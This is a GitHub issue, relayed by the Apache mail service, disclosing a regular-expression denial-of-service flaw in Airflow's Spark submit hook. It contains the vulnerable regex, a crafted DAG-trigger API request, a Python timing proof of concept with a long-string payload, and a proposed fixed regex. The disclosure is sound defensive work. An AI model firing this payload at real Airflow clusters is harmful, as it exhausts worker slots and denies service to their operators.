gnsehfvlr opened a new issue, #70676: URL: https://github.com/apache/airflow/issues/70676
# Security Vulnerability: ReDoS in `_mask_cmd()` via User-Controlled `application_args` ## Summary The `apache-airflow-providers-apache-spark` package contains a Regular Expression Denial of Service (ReDoS) vulnerability in the `SparkSubmitHook._mask_cmd()` method. User-controlled values injected through the Airflow REST API DAG trigger `conf` parameter are incorporated into a shell command string that is processed by a regex with catastrophic backtracking characteristics, enabling a remote DoS attack. ## Affected Package - Package: apache-airflow-providers-apache-spark - PyPI: https://pypi.org/project/apache-airflow-providers-apache-spark/ - Tested version: 4.10.0 - CVSS v3.1: 7.5 - Severity: High ## Vulnerability Details In `airflow/providers/apache/spark/hooks/spark_submit.py` at lines 508–530, the `_mask_cmd()` method applies the following regex to `' '.join(connection_cmd)`: ```python re.sub( r'(\S*?(?:secret|password)\S*?(?:=|\s+)([\'"]?))(?:(?!\2\s).)*', r'\1********', ' '.join(connection_cmd) ) ``` `connection_cmd` includes `self._application_args`, which is a templated field populated from the `application_args` key in the DAG trigger `conf` dict. The nested lookahead `(?:(?!\2\s).)*` combined with the `\S*?` quantifier causes **quadratic backtracking** when the input string is long and does not contain the expected pattern. ### Timing Evidence | Input size | Time elapsed | |-----------|-------------| | 10,000 chars | ~2 seconds | | 50,000 chars | ~57 seconds | The growth rate is O(n²), consistent with quadratic backtracking. ## Attack Vector An authenticated Airflow user with DAG trigger permissions can invoke the following REST API call: ```http POST /api/v1/dags/{dag_id}/dagRuns Content-Type: application/json { "conf": { "application_args": ["aaaa...aaaa!"] } } ``` Where `aaaa...aaaa!` is a string of ~50,000 characters not containing `secret` or `password`. This causes the Airflow worker process executing the SparkSubmitHook to spin for ~57 seconds per task execution, effectively blocking the worker slot. ## Proof of Concept ```python import re, time regex = r'(\S*?(?:secret|password)\S*?(?:=|\s+)([\'"]?))(?:(?!\2\s).)*' for n in [10000, 30000, 50000]: payload = 'a' * n + '!' t = time.time() re.sub(regex, r'\1********', payload) print(f"n={n}: {time.time()-t:.2f}s") # n=10000: ~2.1s # n=30000: ~19s # n=50000: ~57s ``` ## Impact - A remote authenticated attacker (Airflow user with trigger permission) can block Airflow worker slots indefinitely by triggering DAG runs with crafted `application_args` - Repeated triggering can exhaust all available workers, causing a complete Denial of Service for the Airflow cluster - No code execution or data exfiltration is possible through this vector alone ## CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H ## Remediation Replace the vulnerable regex with a possessive quantifier or atomic group equivalent, or rewrite the masking logic without a nested lookahead: ```python # Option 1: Use re.sub with a non-backtracking approach import re def _mask_cmd(self, connection_cmd): cmd_str = ' '.join(connection_cmd) # Replace password/secret values using a non-catastrophic pattern masked = re.sub( r'(\S*(?:secret|password)\S*(?:=|\s+)[\'"]?)(\S+)', r'\1********', cmd_str ) return masked ``` The key fix is removing the nested lookahead `(?:(?!\2\s).)*` and replacing it with a simple `\S+` or bounded quantifier that cannot exhibit catastrophic backtracking. ## Disclosure Timeline - 2026-07-29: Discovered via static taint analysis + DAST timing measurement - 2026-07-29: Reported to maintainer -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected]
